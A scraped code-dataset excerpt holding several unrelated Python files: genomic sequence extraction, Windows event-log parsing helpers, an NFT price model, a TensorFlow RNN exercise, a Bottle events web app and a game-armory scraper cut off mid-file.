elif db_name == 'Maize':\n gene_id_temp = line_list[-1].split(';')[0]\n gene_id = gene_id_temp.split(':')[1]\n else:\n gene_id_temp = line_list[-1].split(';')[0]\n gene_id = gene_id_temp.split('=')[1]\n orientation = line_list[6]\n line_list[2] = gene_id\n orientation_dict[gene_id] = orientation\n if gene_id not in fragment_dict:\n fragment_dict[gene_id] = []\n fragment_dict[gene_id].append(\"\\t\".join(line_list))\n\n # Write out only the retained ones\n with open(os.path.join(annot_path, annot_final), \"w\") as gtf_fh_out:\n for gene_id in fragment_dict:\n if orientation_dict[gene_id] == '+':\n # take fragment with highest coords, which is latest one added\n gtf_fh_out.write(\"{}\\n\".format(fragment_dict[gene_id][-1]))\n else:\n # orientation == -\n # take fragment with lowest coords, which is first one added\n gtf_fh_out.write(\"{}\\n\".format(fragment_dict[gene_id][0]))\n\n\ndef extract_sequence(dna_name, annot_name, dna_path, annot_path, save_path, db_name):\n ''' Adapted from Inari noteobok. Uses Bedtools getfasta to extract\n the final sequences, w/ extension \".gene.1kbup.nov.final.fa\".\n Params:\n dna_name: str, name for dna .fa file\n annot_name: str, name of the annotation .gff3 file\n dna_path: str, directory for the .fa dna file\n annot_path: str, directory that stores the gff3 file\n save_path: str, directory for the output .fa file\n db_name: str, name of the database to be processed\n '''\n # Generate input and output file names\n suffix = ANNOT_SUFFIX_DICT[db_name]\n suffix_g = GENE_SUFFIX_DICT[db_name]\n annot_final = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.nov.final.{suffix}\")\n dna_final = dna_name.replace(f\".{suffix_g}\", f\".gene.1kbup.nov.final.{suffix_g}\")\n\n exe_str = f\"{config.bedtools} getfasta -fi \" + \\\n os.path.join(dna_path, dna_name)\n exe_str += \" -bed \" + os.path.join(annot_path, annot_final)\n exe_str += \" -s -name+ > \"\n exe_str += os.path.join(save_path, dna_final)\n utils.execute(exe_str)\n\n\ndef generate_sequence_for_species(dna_name, annot_name, dna_url, annot_url,\n dna_path, annot_path, save_path, db_name,\n species_name, regulatory_len=1000):\n \"\"\" The main function that chains the above methods together to extract the\n relevant sequesnces from the initial .fa/fna dna file and .gff3/gff\n annotation file downloaded from the Ensembl database.\n Params:\n dna_name: str, name for dna .fa/fna file\n annot_name: str, name of the annotation .gff3/gff file\n dna_url: str, url to download the .fa/fna file\n annot_url: str, url to download the .gff3/gff file\n dna_path: str, directory for the .fa/fna dna file\n annot_path: str, directory that stores the gff3/gff file\n save_path: str, directory for the output .fa/fna file\n db_name: str, name of the database to be processed\n species_name: str, name of species\n regulatory_len: int, length of regulatory region to be extracted\n \"\"\"\n # Generate directories\n generate_directories(db_name)\n\n # Create species-specific directory\n species_name = species_name.strip().lower()\n dna_path_s = dna_path / species_name\n annot_path_s = annot_path / species_name\n save_path = save_path / species_name\n for path in [dna_path_s, annot_path_s, save_path]:\n if not os.path.exists(path):\n os.mkdir(path)\n\n # Download the raw fa and gff files\n utils.download(dna_url, dna_path_s, db_name, dna_name)\n utils.download(annot_url, annot_path_s, db_name, annot_name)\n\n # Unzip the gz files\n utils.unzip(dna_path_s, dna_name)\n utils.unzip(annot_path_s, annot_name)\n\n # Run Faidx command\n faidx(dna_path_s, dna_name)\n\n # Only extract the flanking regions for the genes\n extract_flanking_region(annot_name, annot_path_s, db_name)\n\n # Get 1kbup file\n get_1kbup(dna_name, annot_name, dna_path_s, annot_path_s, regulatory_len, db_name)\n\n # Bedtools to subtract genic regions of neighbouring genes\n # from the intergenic flanks\n subtract(dna_name, annot_name, annot_path_s, db_name)\n\n # Remove Split fragments\n remove_split_fragments(annot_name, annot_path_s, db_name)\n\n # Extract the resulting sequence\n extract_sequence(dna_name, annot_name, dna_path_s, annot_path_s, save_path, db_name)\n\n # Remove raw sequence files\n utils.clear_folder(dna_path_s, to_continue='y')\n # utils.clear_folder(annot_path_s, to_continue='y')\n\n\ndef load_processed_fa(processed_db_path, dna_name, db_name, species_name):\n \"\"\" Helper function to load sequences with name dna_name.\n Params:\n processed_db_path: db_path within processed data folder\n dna_name: name of the .fa/fna file to be loaded\n db_name: str, name of the database to be processed\n species_name: str, name of species\n \"\"\"\n suffix_g = GENE_SUFFIX_DICT[db_name]\n dna_final = dna_name.replace(f\".{suffix_g}\", f\".gene.1kbup.nov.final.{suffix_g}\")\n f_path = os.path.join(processed_db_path, species_name, dna_final)\n fasta_sequences = SeqIO.parse(open(f_path), 'fasta')\n return fasta_sequences\n","repo_name":"benlevyx/florabert","sub_path":"module/inari/gene_db_io.py","file_name":"gene_db_io.py","file_ext":"py","file_size_in_byte":11309,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"21087709708","text":"import os\nimport glob\nimport logging\nimport jsonlines\nimport vars\nimport json\nimport pandas as pd\nimport platform\n\n\ndef create_log_fields_string(event, log_fields):\n output_strings = list()\n for field in log_fields:\n if field in event[\"Event\"][\"EventData\"]:\n output_strings.append(field + \":\" + event[\"Event\"][\"EventData\"][field])\n\n return \"\\n\\n\".join(output_strings)\n\n\ndef dict_flatten(in_dict, dict_out=None, parent_key=None, separator=\".\"):\n if dict_out is None:\n dict_out = {}\n\n for k, v in in_dict.items():\n k = f\"{parent_key}{separator}{k}\" if parent_key else k\n if isinstance(v, dict):\n dict_flatten(in_dict=v, dict_out=dict_out, parent_key=k)\n continue\n\n dict_out[k] = v\n\n return dict_out\n\n\ndef normalize_event(event):\n flattened_dict = dict_flatten(event)\n\n event_id = event[\"Event\"][\"System\"][\"EventID\"]\n if type(event_id) != int:\n event[\"Event\"][\"System\"][\"EventID\"] = event_id[\"#text\"]\n\n if \"EventData\" not in event[\"Event\"].keys() or event[\"Event\"][\"EventData\"] is None:\n event[\"Event\"][\"EventData\"] = dict()\n\n for k in event[\"Event\"][\"System\"].keys():\n event[\"Event\"][\"EventData\"][k] = event[\"Event\"][\"System\"][k]\n\n for k in event[\"Event\"].keys():\n if k != \"EventData\":\n event[\"Event\"][\"EventData\"][k] = event[\"Event\"][k]\n\n if \"UserData\" in event[\"Event\"].keys():\n for k in event[\"Event\"][\"UserData\"].keys():\n event[\"Event\"][\"EventData\"][k] = dict()\n for k_ in event[\"Event\"][\"UserData\"][k].keys():\n event[\"Event\"][\"EventData\"][k][k_] = event[\"Event\"][\"UserData\"][k][k_]\n\n for k, v in flattened_dict.items():\n event[\"Event\"][\"EventData\"][k.split(\".\")[-1]] = v\n\n return event\n\n\ndef retrieve_all_occurence_rules():\n for rule_info in json.load(open(vars.RULE_DIR + \"interesting_events.json\", 'r'))[\"rules\"]:\n yield rule_info\n\n\ndef retrieve_all_first_occurence_rules():\n for rule_info in json.load(open(vars.RULE_DIR + \"first_occurence.json\", 'r'))[\"rules\"]:\n yield rule_info\n\n\ndef retrieve_all_events():\n for file_info in json.load(open(vars.TMP_DIR + \"files.json\", 'r'))[\"files\"]:\n with jsonlines.open(file_info[\"json_dump_filename\"]) as reader:\n for item in reader:\n yield item\n\n\ndef get_description_for_event_id(event_id):\n event_id = int(event_id)\n description_loc = vars.EVENT_ID_MAPPING[vars.EVENT_ID_MAPPING['event_id'] == event_id]\n return ', '.join(description_loc[\"description\"].tolist())\n\n\ndef load_event_id_mappings():\n df = pd.read_csv(vars.EXTERNAL_DIR + \"event_id_mapping.csv\", delimiter=\";\")\n\n # using dictionary to convert specific columns\n convert_dict = {'event_id': int}\n df = df.astype(convert_dict)\n vars.EVENT_ID_MAPPING = df\n\n\ndef get_all_event_channels():\n event_channels = set()\n for file_info in json.load(open(vars.TMP_DIR + \"files.json\", 'r'))[\"files\"]:\n event_channels.update(list(file_info[\"event_channel_counts\"].keys()))\n\n return list(event_channels)\n\n\ndef get_recursive_filenames(path, file_suffix):\n filenames = list()\n\n for subdir, dirs, files in os.walk(path):\n for file in files:\n filename = os.path.join(subdir, file)\n if filename.endswith(file_suffix):\n filenames.append(filename)\n\n return filenames\n\n\ndef remove_all_tmp_json_files():\n files = glob.glob(vars.TMP_DIR + \"/evtx_dump/*.json\")\n for f in files:\n os.remove(f)\n\n\ndef setup_logger():\n logger = logging.getLogger('evtx-hunter')\n logger.setLevel(logging.DEBUG)\n\n # create console handler and set level to debug\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n\n # create formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n # add formatter to ch\n ch.setFormatter(formatter)\n\n # add ch to logger\n logger.addHandler(ch)\n\n return logger\n\n\ndef sort_dict(_dict, reverse=False):\n event_summary_list = sorted(_dict.items(), key=lambda x: x[1], reverse=reverse)\n return dict(event_summary_list)\n\n\ndef is_cygwin():\n return platform.system().startswith(\"CYGWIN\")\n\n\ndef is_64_bit():\n return os.uname().machine == \"x86_64\"\n\n\ndef get_cygwin_root():\n return \"/cygwin\" + (\"64/\" if is_64_bit() else \"/\")\n\n\ndef set_cygwin_vars():\n if is_cygwin():\n vars.CYGWIN = True\n vars.CYGWIN_DIR = get_cygwin_root()\n vars.CYGDRIVE_DIR = \"/cygdrive/\"\n else:\n vars.CYGWIN = False\n\n\n# Forwards the original path or corrects it for Cygwin\ndef path_for_exe(path):\n # Path from Cygwin must be corrected before it can be used with .exe\n if vars.CYGWIN:\n # Ensures that the path is absolute \n path = os.path.abspath(path)\n # Path leads to a place within Windows filesystem\n if path.startswith(vars.CYGDRIVE_DIR):\n # Deletes the cygrdive prefix and the drive letter\n path = path[11:]\n # Path leads to a place within Linux filesystem\n else:\n # Adds the Cygwin prefix so .exe can reach the place\n path = vars.CYGWIN_DIR + path\n return path\n","repo_name":"NVISOsecurity/evtx-hunter","sub_path":"app/helpers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"32"} +{"seq_id":"73296511452","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 28 14:20:05 2023\r\n\r\n@author: efthi\r\n\"\"\"\r\n\r\n#import lightgbm as lgb\r\nimport numpy as np\r\nfrom sklearn.model_selection import cross_val_score, KFold\r\nfrom sklearn.metrics import mean_squared_error\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport lightgbm as lgb\r\n\r\nlabel_encoder = LabelEncoder()\r\n\r\n\r\n# Assuming you have your features (X) and target variable (y) ready\r\nEtherium_price = pd.read_csv(r\"C:\\Users\\efthi\\Downloads\\cryptopunks_test_bundle\\20230509\\eth_usd_fx_rates.csv\")\r\ntokens_metadate = pd.read_csv(r\"C:\\Users\\efthi\\Downloads\\cryptopunks_test_bundle\\20230509\\token_metadata.csv\")\r\ntokens_sales = pd.read_csv(r\"C:\\Users\\efthi\\Downloads\\cryptopunks_test_bundle\\20230509\\token_sales.csv\")\r\n\r\n\r\n'''\r\nMerged and sorted given the token \r\nindex firstly and then the timestamp\r\n'''\r\nData = pd.merge(tokens_metadate, tokens_sales, on='token_index')\r\nData = Data.filter(regex='^(?!Unnamed)')\r\n\r\n\r\ncat_features = ['Skin Tone', \"Type\", \"Hair\",\r\n \"Eyewear\", \"Mouth\", \"Headwear\",\r\n \"Facial Hair\", \"Smoking Device\",\r\n \"Other:Earring\", \"Neckwear\",\r\n \"Skin Feature\", \"Other:Medical Mask\",\r\n \"Other:Clown Nose\", \"Trait Count\",\r\n \"rarest_property_name\"]\r\n\r\nfor feature in cat_features:\r\n Data[feature] = Data[feature].astype('category').cat.codes\r\n\r\n\r\nimport re\r\nData = Data.rename(columns = lambda x:re.sub('[^A-Za-z0-9_]+', '', x))\r\n\r\n\r\n\"\"\"\r\ncreate a dataset with the unique nft which \r\nare sold only once so we dont have historic data to train our model\r\n\"\"\"\r\n# Identify duplicate rows\r\nduplicates = Data.duplicated(subset= \"token_index\", keep=False)\r\ndf_duplicates = Data[duplicates]\r\ndf_unique = Data[~duplicates]\r\n\r\n\r\n'''\r\nThis \"test\" dataset contains only the token \r\nwith the last sold price given the timestamp plus the unique tokens\r\nwhich might be sold only once\r\n'''\r\n# Sort the dataframe by 'timestamp' in descending order\r\ndf_sorted = Data.sort_values(by='timestamp', ascending=False)\r\n\r\n# Drop duplicates based on 'token_index' while keeping the row with the largest 'timestamp'\r\nTest_data = df_sorted.drop_duplicates(subset='token_index', keep='first')\r\n\r\nX_test = Test_data.drop(columns=[\"eth\",'usd'])\r\nY_test = Test_data.loc[:, Test_data.columns == 'eth']\r\n\r\n\r\n\r\n'''\r\nKeep the data which have been sold more than once.\r\n'''\r\nTrain_data_x = df_sorted[~df_sorted['timestamp'].isin(Test_data['timestamp'])]\r\nTrain_data = Train_data_x[~Train_data_x['token_index'].isin(df_unique['token_index'])]\r\n\r\nX_train = Train_data.drop(columns=[\"eth\",'usd'])\r\ny_train = Train_data.loc[:, Train_data.columns == 'eth']\r\n\r\n\r\n\r\n# Create a LightGBM dataset\r\ntrain_data = lgb.Dataset(X_train, label=y_train)\r\n\r\n\r\nparams = {\r\n 'boosting_type': 'gbdt',\r\n 'objective': 'regression',\r\n 'metric': 'mse',\r\n 'num_leaves': 100,\r\n 'learning_rate': 0.05,\r\n 'feature_fraction': 0.9,\r\n 'bagging_fraction': 0.8,\r\n 'bagging_freq': 5,\r\n 'verbose': 0\r\n}\r\n\r\n# Train the model\r\nnum_rounds = 100\r\nmodel = lgb.train(params, train_data, num_rounds)\r\n\r\n# Make predictions on the testing set\r\ny_pred = model.predict(X_test)\r\n\r\n# Evaluate the model\r\nmse = mean_squared_error(Y_test, y_pred)\r\nprint('Mean Squared Error:', mse)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"EfthyvoulosDrousiotis/NFT_valuation","sub_path":"NFT_valuations.py","file_name":"NFT_valuations.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34036293525","text":"import tensorflow as tf\r\nimport numpy as np\r\n\r\n\r\n\r\n\r\n\r\ntruncatedBackpropLength = 5\r\nnumOfInputNodes = 1\r\nnumOfOutputNodes = 2\r\n\r\nnumOfHiddenNodes = 6\r\n\r\nbatchSize = 4\r\n\r\nrandScaler = 0.01\r\n\r\n\r\n\r\nsess = tf.Session()\r\n\r\nx_batch = tf.placeholder(tf.float32, shape=[None, truncatedBackpropLength, numOfInputNodes])\r\ny_batch = tf.placeholder(tf.float32, shape=[None, truncatedBackpropLength, numOfOutputNodes])\r\n\r\n\r\nx_list = []\r\n\r\nW2 = tf.Variable(np.random.rand(numOfInputNodes,numOfHiddenNodes)*randScaler, dtype=tf.float32)\r\nb_hidden = tf.Variable(tf.zeros([numOfHiddenNodes]))\r\n\r\nW3 = tf.Variable(np.random.rand(numOfHiddenNodes,numOfHiddenNodes)*randScaler, dtype=tf.float32)\r\ncontext = tf.Variable(tf.zeros([batchSize, numOfHiddenNodes]), dtype=tf.float32)\r\n\r\nW4 = tf.Variable(np.random.rand(numOfHiddenNodes,numOfOutputNodes)*randScaler, dtype=tf.float32)\r\nb_output = tf.Variable(tf.zeros([numOfOutputNodes]))\r\n\r\ncross_entropy_sum = tf.Variable(tf.zeros([1]))\r\naccuracy_list = []\r\n\r\n\r\nfor seriesStep in range (truncatedBackpropLength):\r\n xTemp = tf.squeeze(tf.slice(x_batch, [0,seriesStep,0], [-1, 1, -1]))\r\n y_label = tf.squeeze(tf.slice(y_batch, [0,seriesStep,0], [-1, 1, -1]))\r\n\r\n if (numOfInputNodes == 1):\r\n \txTemp = tf.reshape(xTemp, [batchSize, numOfInputNodes])\r\n \ty_label = tf.reshape(y_label, [batchSize, numOfOutputNodes])\r\n\r\n x_list.append(xTemp)\r\n\r\n\r\n \r\n hidden = tf.matmul(xTemp,W2) + tf.matmul(context,W3) + b_hidden\r\n \r\n # context = hidden\r\n hidden_clipped = tf.nn.tanh(hidden) \r\n context = hidden_clipped\r\n output = tf.matmul(hidden_clipped, W4) + b_output\r\n \r\n\r\n y_predicted = tf.nn.softmax(output)\r\n\r\n \r\n correct_prediction = tf.equal(tf.argmax(y_predicted,1), tf.argmax(y_label,1))\r\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n accuracy_list.append(accuracy)\r\n \r\n cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_label * tf.log(y_predicted), reduction_indices=[1]))\r\n cross_entropy_sum = cross_entropy_sum + cross_entropy\r\n\r\ncontext_final = context\r\ncross_final = cross_entropy_sum\r\nLEARNING_RATE = 0.05\r\ntraining = tf.train.GradientDescentOptimizer(LEARNING_RATE).minimize(cross_entropy_sum)\r\n\r\nx_final = x_list\r\naccuracy_final = accuracy_list\r\n\r\n\r\n \r\n\r\ninit = tf.global_variables_initializer()\r\nsess.run(init)\r\n\r\nimport numpy as np\r\n\r\n# Start= [1,0,0,0,0,0,0]\r\n# Coffee= [0,1,0,0,0,0,0];\r\n# Tea= [0,0,1,0,0,0,0];\r\n# Water= [0,0,0,1,0,0,0];\r\n# Cream= [0,0,0,0,1,0,0];\r\n# Sugar= [0,0,0,0,0,1,0];\r\n# Stir= [0,0,0,0,0,0,1];\r\n\r\n\r\n# # %%% output; this is the teacher output \r\n# Coffeeout= [1,0,0,0,0,0,0,0]; \r\n# Teaout= [0,1,0,0,0,0,0,0];\r\n# Waterout= [0,0,1,0,0,0,0,0];\r\n# Creamout= [0,0,0,1,0,0,0,0];\r\n# Sugarout= [0,0,0,0,1,0,0,0];\r\n# Stirout= [0,0,0,0,0,1,0,0];\r\n# Coffeebev= [0,0,0,0,0,0,1,0];\r\n# Teabev= [0,0,0,0,0,0,0,1];\r\n\r\n# inputBatch = []\r\n# outputBatch = []\r\n\r\n# # %%% Seq1 tea water second \r\n\r\n# TWInp=[Start,Tea,Water,Stir,Sugar,Stir]\r\n# TWOut=[Teaout,Waterout,Stirout,Sugarout,Stirout,Teabev]\r\n\r\n# inputBatch.append(TWInp)\r\n# outputBatch.append(TWOut)\r\n\r\n# # %%% Seq2 tea water second \r\n\r\n# TSInp=[Start,Tea,Sugar,Stir,Water,Stir]\r\n# TSOut=[Teaout,Sugarout,Stirout,Waterout,Stirout,Teabev]\r\n\r\n# inputBatch.append(TSInp)\r\n# outputBatch.append(TSOut)\r\n\r\n\r\n# # %%% Seq3 coffee water first \r\n\r\n# CWInp=[Start,Coffee,Water,Stir,Cream,Stir]\r\n# CWOut=[Coffeeout,Waterout,Stirout,Creamout,Stirout,Coffeebev]\r\n\r\n# inputBatch.append(CWInp)\r\n# outputBatch.append(CWOut)\r\n\r\n\r\n# # %%% Seq4 coffee water second\r\n\r\n# CCInp=[Start,Coffee,Cream,Stir,Water,Stir]\r\n# CCOut=[Coffeeout,Creamout,Stirout,Waterout,Stirout,Coffeebev]\r\n\r\n# inputBatch.append(CCInp)\r\n# outputBatch.append(CCOut)\r\n\r\n\r\ntotal_series_length = 50000\r\necho_step = truncatedBackpropLength\r\nbatch_length = int(total_series_length/batchSize)\r\n\r\ndef generateData():\r\n\tx = np.array(np.random.choice(2, total_series_length, p=[0.5, 0.5]))\r\n\ty = np.roll(x, echo_step)\r\n\ty[0:echo_step] = 0\r\n\r\n\ty_hot = [(1-yTemp)*[1,0] + yTemp*[0,1] for yTemp in y]\r\n\r\n\r\n\ty_hot_list = []\r\n\tfor i in range(batchSize):\r\n\t\ty_hot_Temp = y_hot[i*batch_length:i*batch_length+batch_length]\r\n\t\ty_hot_list.append(y_hot_Temp)\r\n\r\n\tx = x.reshape((batchSize, batch_length)) # The first index changing slowest, subseries as rows\r\n\t# y_hot = y_hot.reshape((batchSize, batch_length))\r\n\r\n\treturn (x, y_hot_list)\r\n\r\n\r\nx, y = generateData()\r\n\r\nprint('Size of X: ' + str(len(x)) + '*' + str(len(x[0])))\r\nprint('Size of Y: ' + str(len(y)) + '*' + str(len(y[0])))\r\n\r\nimport random\r\n\r\nTRAIN_STEPS = 50000\r\nweightList1 = []\r\nweightList2 = []\r\nweightList3 = []\r\nweightList4 = []\r\n# with sess.as_default():\r\nfor i in range(TRAIN_STEPS):\r\n\t# randIndex = random.randint(truncatedBackpropLength, len(x[0]))\r\n\trandIndex = i+truncatedBackpropLength\r\n\r\n\tx_train = x[:,randIndex-truncatedBackpropLength:randIndex]\r\n\ty_train = [tempRow[randIndex-truncatedBackpropLength:randIndex] for tempRow in y]\r\n\t# y[:,randIndex-truncatedBackpropLength:randIndex]\r\n\r\n\tx_train = x_train.reshape((batchSize, truncatedBackpropLength, 1))\r\n\t# y_train = y_train.reshape((batchSize, truncatedBackpropLength, 2))\r\n\r\n\r\n\tsess.run(training, feed_dict={x_batch: x_train, y_batch: y_train})\r\n\r\n\tif (i%100==0):\r\n\t\t# randIndex = random.randint(truncatedBackpropLength, len(x[0]))\r\n\t\trandIndex = i+truncatedBackpropLength\r\n\r\n\t\tx_test = x[:,randIndex-truncatedBackpropLength:randIndex]\r\n\t\ty_test = [tempRow[randIndex-truncatedBackpropLength:randIndex] for tempRow in y]\r\n\t\t# y[:,randIndex-truncatedBackpropLength:randIndex]\r\n\r\n\t\tx_test = x_test.reshape((batchSize, truncatedBackpropLength, 1))\r\n\t\t# y_test = y_test.reshape((batchSize, truncatedBackpropLength, 1))\r\n\r\n\t\t# print('input: ')\r\n\t\t# print(x_test)\r\n\r\n\t\tprint('Training Step: ' + str(i) + ' Accuracy = ' + str(sess.run(accuracy_final, feed_dict={x_batch: x_train, y_batch: y_train})) + ' Loss = ' + str(sess.run(cross_final, {x_batch: x_train, y_batch: y_train})))\r\n\t\t\r\n\t\tb = sess.run(W3)\r\n\t\tweightList1.append(b[0])\r\n\t\tweightList2.append(b[1])\r\n\r\n\t\tc = sess.run(W4)\r\n\t\tweightList3.append(c[2])\r\n\t\tweightList4.append(c[3])\r\n\t\t# print(b[:,6:8])\r\n\r\n\t# context = tf.Variable(tf.zeros([batchSize, numOfHiddenNodes]), dtype=tf.float32)\r\n\r\nimport matplotlib.pyplot as plt \r\nplt.figure(1)\r\nplt.subplot(411)\r\nplt.plot(weightList1)\r\nplt.subplot(412)\r\nplt.plot(weightList2)\r\nplt.subplot(413)\r\nplt.plot(weightList3)\r\nplt.subplot(414)\r\nplt.plot(weightList4)\r\nplt.ylabel('some numbers')\r\nplt.show()","repo_name":"dshahnazian/Recurrent-neural-network","sub_path":"Danesh_RNN_General.py","file_name":"Danesh_RNN_General.py","file_ext":"py","file_size_in_byte":6506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6055658836","text":"import bottle\nfrom bottle import Bottle,route,run,request,template,static_file\nimport json\nfrom sys import argv\nimport requests\n@route('/',method=\"get\")\ndef eventfull():\n return template ('template.tpl')\n@route('/eventfull',method=\"post\")\ndef eventfull():\n ciudad = request.forms.get('ciudad')\n tipo = request.forms.get('tipo')\n a=open(\".key_eventfull.txt\",\"r\")\n key=a.readline()\n payload={\"app_key\":key, \"location\": ciudad, \"keywords\":tipo}\n r=requests.get(\"http://api.eventful.com/json/events/search?keywords=\"+tipo+\"&location=\"+ciudad+\"&app_key=\"+key)\n if r.status_code == 200:\n js=json.loads(r.text)\n titulo=[]\n empezar=[]\n lugar=[]\n for i in js[\"events\"][\"event\"]:\n titulo.append(i[\"title\"])\n empezar.append(i[\"start_time\"])\n lugar.append(i[\"venue_name\"])\n return template('template2.tpl', titulo=titulo, empezar=empezar, lugar=lugar, ciudad=ciudad, tipo=tipo)\n\n@route('/static/')\ndef server_static(filepath):\n\treturn static_file(filepath, root='static')\n\nif __name__ == '__main__':\n\trun(host='0.0.0.0',port=argv[1])","repo_name":"juanjoselopezroldan/prueba_bottle","sub_path":"eventfull.py","file_name":"eventfull.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18420184567","text":"\"\"\" Character Summary parsing functions \"\"\"\n\nimport re\n\nfrom src.itemParser import getItemInfos\nfrom src.utils import getHtmlText\nfrom src.gearScore import createGearScoreDictionnary\n\n\ndef hasEnchantProfession(profession, minProfLvl):\n \"\"\" Check if character has profession enchant above a determined level \"\"\"\n profLvl = int(re.search(r'\\d+', profession).group(0))\n return profLvl >= minProfLvl\n\n\ndef processItems(itemsList, isBlacksmith, isEnchanter, isHunter, isWarrior):\n \"\"\" Process each items to know if they are fully optimised \"\"\"\n\n notEnchantedItems = []\n notGemmedItems = []\n totalItemLvl = 0\n totalGearScore = 0\n equippedItems = 0\n # Fury war has special calculation method taking in account having 2 2H weaps\n hasAlreadyATwoHandWeapOn = False\n twoHandWeapGearScore = [0, 0]\n # Calling it here so we only create it once per command\n gearScoreDict = createGearScoreDictionnary()\n\n excludedSlots = ['Shirt', 'Tabard']\n itemsToBeEnchant = ['Head', 'Shoulder', 'Back', 'Chest',\n 'Wrist', 'Hands', 'Legs', 'Feet',\n 'One-hand', 'Off Hand', 'Two-hand']\n\n if isEnchanter:\n itemsToBeEnchant.append('Finger')\n if isHunter:\n itemsToBeEnchant.append('Ranged')\n\n # Blacksmith can get another gem slot on some items (badly reported in url)\n itemsToBeBlacksmithEnchant = ['Wrist', 'Hands']\n\n for item in itemsList:\n # Power is there to reach an 'API' (not a real one btw...)\n itemUrl = item.find('a').get('href') + '&power=true'\n infosFromRel = item.find('a').get('rel')\n itemAdditionnalInfos = re.search(\n '&{1}.*', infosFromRel[0]) if infosFromRel is not None else None\n\n if itemAdditionnalInfos is not None:\n itemAdditionnalInfos = itemAdditionnalInfos.group(0)\n itemUrl += itemAdditionnalInfos\n\n if '#self' not in itemUrl:\n itemInfos = getItemInfos(itemUrl, gearScoreDict)\n itemSlot = itemInfos['itemSlot']\n\n hasToHaveBonusGemSlot = itemSlot == 'Waist' or (\n itemSlot in itemsToBeBlacksmithEnchant and isBlacksmith)\n if hasToHaveBonusGemSlot:\n itemInfos = getItemInfos(itemUrl, gearScoreDict, hasToHaveBonusGemSlot)\n\n # Checking what is missing in item\n if itemInfos['missingGems']:\n notGemmedItems.append(itemSlot)\n if itemInfos['missingEnchant'] and itemSlot in itemsToBeEnchant:\n notEnchantedItems.append(itemSlot)\n if itemSlot not in excludedSlots:\n equippedItems += 1\n totalItemLvl += itemInfos['itemLevel']\n totalGearScore += itemInfos['itemGearScore']\n\n # pylint: disable=too-many-boolean-expressions\n if isWarrior and (itemInfos['itemSlot'] == 'Two-hand' or (\n (hasAlreadyATwoHandWeapOn and itemInfos['itemSlot'] == 'Two-hand') or\n (hasAlreadyATwoHandWeapOn and itemInfos['itemSlot'] == 'One-hand') or\n (hasAlreadyATwoHandWeapOn and itemInfos['itemSlot'] == 'Off Hand') or\n (hasAlreadyATwoHandWeapOn and itemInfos['itemSlot'] == 'Held In Off-Hand')\n )):\n minGs = min(twoHandWeapGearScore)\n twoHandWeapMinIndex = twoHandWeapGearScore.index(minGs)\n twoHandWeapGearScore[twoHandWeapMinIndex] = itemInfos['itemGearScore']\n\n # Getting new values after modifications\n minGs = min(twoHandWeapGearScore)\n maxGs = max(twoHandWeapGearScore)\n\n # To calculate gearscore, we have to ignore the second 2H weap GS,\n # get the difference between Main Hand and Off Hand\n # divide it by 2, round it up and substract it to the total sum\n # If difference is equal to 1\n # That means we are crawling first weapon or the character is wearing only\n # one Two hands weapon\n if minGs != 0:\n differenceBetweenTwoHandWeaps = int((maxGs - minGs)/2) + 1\n\n if hasAlreadyATwoHandWeapOn:\n totalGearScore -= minGs + differenceBetweenTwoHandWeaps\n else:\n hasAlreadyATwoHandWeapOn = True\n\n if equippedItems != 0:\n avgItemLvl = \"%.2f\" % float(totalItemLvl/equippedItems)\n else:\n avgItemLvl = 0\n\n return {\n 'notEnchantedItems': notEnchantedItems,\n 'notGemmedItems': notGemmedItems,\n 'avgItemLvl': avgItemLvl,\n 'itemGearScore': totalGearScore,\n }\n\n\ndef processList(providedList):\n \"\"\" Process the provided items list \"\"\"\n items = []\n\n for item in providedList.findAll(class_='text'):\n items.append(' '.join(item.text.split()).replace(' / ', '/'))\n\n return items\n\n\ndef getCharInfos(\n url='http://armory.warmane.com/character/Ashaladin/Icecrown/summary', htmlText=None\n):\n \"\"\" Get character informations \"\"\"\n\n if htmlText is None:\n html = getHtmlText(url)\n else:\n html = htmlText\n\n # Ensure char is found before scrap anything else\n if len(html.findAll(string=re.compile(r'Page not found'))) > 0:\n return 'Character not found, please check your informations and try again.'\n\n charMainInfos = html.find(class_='information-left')\n\n # Hunter will need to have Ranged slot checked (enchant)\n isHunter = 'Hunter' in charMainInfos.text\n isWarrior = 'Warrior' in charMainInfos.text\n\n # Grouping variables:\n # First group is html info retrieving\n # Second is extracted data\n charAndGuildName = charMainInfos.find(class_='name').text.split(' ')\n itemsPath = html.findAll(class_='item-slot')\n specsPath = html.find(class_='specialization')\n professionsSummary = []\n professionsPath = html.findAll(class_='profskills')\n isBlacksmith = False\n isEnchanter = False\n\n charName = charAndGuildName.pop(0).strip()\n guildName = ' '.join(charAndGuildName) if charAndGuildName[0] != u'\\xa0' else 'No Guild'\n lvlRaceClass = charMainInfos.find(class_='level-race-class').text.strip()\n\n professions = []\n for professionsType in professionsPath:\n professions.append(processList(professionsType))\n\n # Processing multiple arrays into one (1 array per professionType (main & secondary profs))\n for professionType in professions:\n for profession in professionType:\n # We have to check blacksmith level to ensure the bonus gem slots are available\n if 'Blacksmithing' in profession:\n isBlacksmith = hasEnchantProfession(profession, 400)\n if 'Enchanting' in profession:\n isEnchanter = hasEnchantProfession(profession, 400)\n professionsSummary.append(profession)\n\n getSpecializations = processList(specsPath)\n itemsCheck = processItems(itemsPath, isBlacksmith, isEnchanter, isHunter, isWarrior)\n\n summary = {\n 'url': url,\n 'charName': charName,\n 'guildName': guildName,\n 'lvlRaceClass': lvlRaceClass,\n 'professions': 